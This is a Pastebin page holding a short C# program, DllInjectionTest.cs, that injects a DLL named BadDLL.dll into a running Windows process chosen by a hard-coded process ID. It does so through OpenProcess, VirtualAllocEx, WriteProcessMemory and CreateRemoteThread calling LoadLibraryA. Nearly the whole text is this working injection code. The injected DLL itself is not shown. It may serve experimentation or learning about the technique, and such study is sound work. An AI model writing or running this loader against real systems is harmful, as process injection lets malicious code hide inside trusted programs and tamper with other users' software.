Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // DllInjectionTest.cs
- //
- /////////////////////
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Text;
- namespace DLLInjectionTestCS
- {
- class Program
- {
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
- [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
- static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
- uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll", SetLastError = true)]
- static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
- [DllImport("kernel32.dll")]
- static extern IntPtr CreateRemoteThread(IntPtr hProcess,
- IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- // privileges for OpenProcess
- const int PROCESS_CREATE_THREAD = 0x0002;
- const int PROCESS_QUERY_INFORMATION = 0x0400;
- const int PROCESS_VM_OPERATION = 0x0008;
- const int PROCESS_VM_WRITE = 0x0020;
- const int PROCESS_VM_READ = 0x0010;
- // used for VirtualAllocEx
- const uint MEM_COMMIT = 0x00001000;
- const uint MEM_RESERVE = 0x00002000;
- const uint PAGE_READWRITE = 4;
- static int Main()
- {
- Process targetProcess = Process.GetProcessById(20072); // You just enter the process ID, manually.
- //Process targetProcess = Process.GetProcessById(12428); // You just enter the process ID, manually.
- string myBadDLL = "\\work\\DLLInjection\\BadDLL\\x64\\Debug\\BadDLL.dll"; //x64
- //string myBadDLL = "\\work\\DLLInjection\\BadDLL\\Debug\\BadDLL.dll"; //x32
- if (!(File.Exists(myBadDLL)))
- return -1;
- IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
- IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
- IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- UIntPtr bytesWritten;
- WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(myBadDLL), (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
- CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
- return 0;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment